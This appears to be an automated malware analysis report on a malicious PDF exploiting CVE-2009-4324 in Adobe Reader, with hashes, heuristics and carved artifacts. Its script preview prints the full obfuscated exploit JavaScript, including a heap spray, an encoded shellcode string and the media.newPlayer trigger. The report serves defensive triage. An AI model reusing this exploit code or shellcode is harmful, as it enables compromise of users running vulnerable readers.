Malicious PDF — malware analysis report

Static analysis result for SHA-256 fd4428c4788e588e…

MALICIOUS

PDF

67.4 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-11
MD5: a635ba4778352a9ad012414bd31b35e7 SHA-1: af202374b07a4c4d5932e0a3bd5a54f6e694fb5e SHA-256: fd4428c4788e588ee783eb88c5008b7ff162efd6ee1a4be5d7b1c57248e57106
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link

The PDF file contains embedded JavaScript that exploits CVE-2009-4324, specifically targeting the media.newPlayer API. The JavaScript is obfuscated but static analysis indicates it decodes and executes further stages. This exploit is commonly used to download and run additional malicious payloads, making it a likely initial access vector for further compromise.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9990

Heuristics 8

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
🗂 Part of campaign: shared payload 9d7e19ac21 18 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2371 bytes
SHA-256: dd957791cf3ea91d9aa5ef655b3a1d6c4a92036e875c2437657f276955dab674
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29deXX5fc9XX37b1XX5731XX8314XX1001XX2602XX4207XXdee0XX55eeXXdee4XXeceeXXbabfXXdc4fXXdee0XX67eeXXd2a0XX9c65XX73fcXX8465XX8fe8XX9965XX55dcXXc29aXXdd98XXba1bXXa86bXXefceXXed15XXa527XX73a1XX29edXX05d3XX52e1XXe6f0XX981cXX1fe8XXe125XX04e3XX07aeXXe511XX99f1XX8007XXb265XXddc4XX8a33XXd26bXX67a5XXc2beXX31edXXda6bXXef65XX7525XX0eb7XXed5cXX6f35XXda23XXec84XX21b3XX10b9XXd9dbXX1f9bXX8169XX7512XX8cb2XX9b11XX21e4XX1099XX891fXX7516XX9e8aXXec86XXdef0XX13eeXXd697XX13bcXX2ab7XXab67XXb418XX61eeXX2aa7XX13beXXd697XX9b11XX2118XX1099XX891fXX671eXXd2afXXab65XX1e18XX82e6XXee60XXac33XX2902XXbb11XX3618XX13a3XX211fXX89f8XXce1aXX26baXX4f4fXXe442XXa83aXX7743XX019dXXe19eXXdee1XXce2cXXdee0XX3e2fXXdee0XXeedaXXdee0";
sc = une(urpl("%",sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
	str1 = une(urpl("%",str1));
	var nop =  unescape("\x25\x750c0c");

	nop = AppendLoop(nop,18000);
	memory=new Array();
	for(i=0;i<0xE00;i++)memory[i] = nop+sc;


	if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
stream_009_off0000cc74.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0xCC74 341 bytes
SHA-256: 9d7e19ac218e6f8728365073f89e3d1f12b424f876a74ba4ef022cb2a54a74ce
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
polyglot_child_pdf_off0000b506.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xB506 22634 bytes
SHA-256: b2dbf1b70f29b41da569667ecb933901cca9d7cf6129dc94ac8dfe455737ff8f
polyglot_child_pdf_off0000f583.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xF583 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

Open this report in the interactive analyzer, or submit your own file for analysis.